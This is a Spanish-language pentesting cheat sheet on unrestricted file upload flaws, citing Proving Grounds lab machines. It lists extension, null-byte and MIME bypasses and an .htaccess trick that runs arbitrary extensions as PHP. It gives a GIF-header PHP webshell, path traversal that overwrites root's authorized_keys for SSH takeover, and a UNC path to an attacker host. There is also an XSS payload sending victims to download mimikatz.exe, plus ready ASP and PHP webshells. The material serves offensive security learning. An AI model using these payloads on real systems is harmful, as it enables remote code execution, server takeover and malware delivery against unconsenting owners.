Unrestricted File Upload
Definición
Unrestricted File Upload es una vulnerabilidad de seguridad que ocurre cuando una aplicación web permite a los usuarios cargar archivos sin restricciones adecuadas sobre el tipo de archivo, el tamaño o el contenido. Esto puede permitir a un atacante cargar archivos maliciosos, por ejemplo, archivos PHP, JavaScript, o ejecutables, que luego pueden ser ejecutados en el servidor, comprometiendo la seguridad del sistema.
Técnicas
Intentar cambiar extensiones
Doble extensión, como
.jpg.svg
.php.jpg
.exe.png
Extensión con un delimitador, como
%0a
%09
%0d
%00
#
file.png%00.svg
file.png\x0d\x0a.svg
Extensión vacía:
filename.
Extensión con capitalización variada:
.sVG
.PhP
.Exe
.msI
Cambiar MIME-type
Mime-Type permitido + extensión no permitida
Mime-Type no permitido + extensión permitida
Eliminar tipo de contenido
Enviar Content-Type dos veces dentro de la solicitud con tipos MIME permitidos y no permitidos
Bypass apache
Nos creamos un archivo .htaccess, donde le decimos que cualquier extensión .xxx me la interprete como php.
echo "AddType application/x-httpd-php .xxx" > .htaccess
Esto lo podemos ver en la máquina Access de Proving Grounds
Magic numbers
Si una aplicación utiliza los bytes mágicos de un archivo para deducir el tipo de contenido, podemos intentar eludir las medidas de seguridad falsificando los bytes mágicos de un archivo permitido. Por ejemplo, si se permiten imágenes GIF, puede falsificar los bytes mágicos de una imagen GIF GIF89a
para que el servidor piense que le estamos enviando un GIF válido.
GIF8;
<?php
system($_GET['cmd']);
?>
Reemplazo de archivos
// hay que buscar reemplazar un authorized_keys en la máquina víctima
1. ssh-keygen
2. cat /root/.ssh/id_rsa.pub > fileup
3. fileup > authorized_keys
4. rm ~/.ssh/authorized_keys # para no generar conficto con la nueva clave ya que se va a subir a otra maquina
5. subimos el authorized keys abusando la ruta ../../../../../root/.ssh/authorized_keys
6. ssh -i fileup root@victima.com
// esta es más directa
ssh-keygen
cat /root/.ssh/id_rsa.pub > authorized_keys // luego subimos el authorized_keys
ssh root@ip
Esto lo podemos ver en la máquina Boolean de Proving Grounds.
Ruta como nombre de archivo
Intente utilizar diferentes tipos de ruta como nombre de archivo [CUIDADO CON ESTO, PORQUE PUEDES REEMPLAZAR ARCHIVOS]
Ruta absoluta, por ejemplo:
filename=/etc/passwd
Ruta relativa, por ejemplo:
filename=../../../../../../etc/passwd
Ruta UNC:
filename=\\attacker-website.com\file.png
Unrestricted File Upload + XSS para descargar malware
En este ejemplo vemos un XSS donde previamente se podía subir malware a un Bucket S3 por lo que se concate el XSS con el Unrestricted File Upload:
<img src="x" onerror="window.location='https://s3-us-west-2.amazonaws.com/s3delcliente/mimikatz.exe'">
Para ver más técnicas concatenadas con XSS recomiendo visitar la sección de Cross-Site Scripting
WebShells
ASP:
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
PHP:
<?php system($_GET["cmd"]);?>
Recursos
Última actualización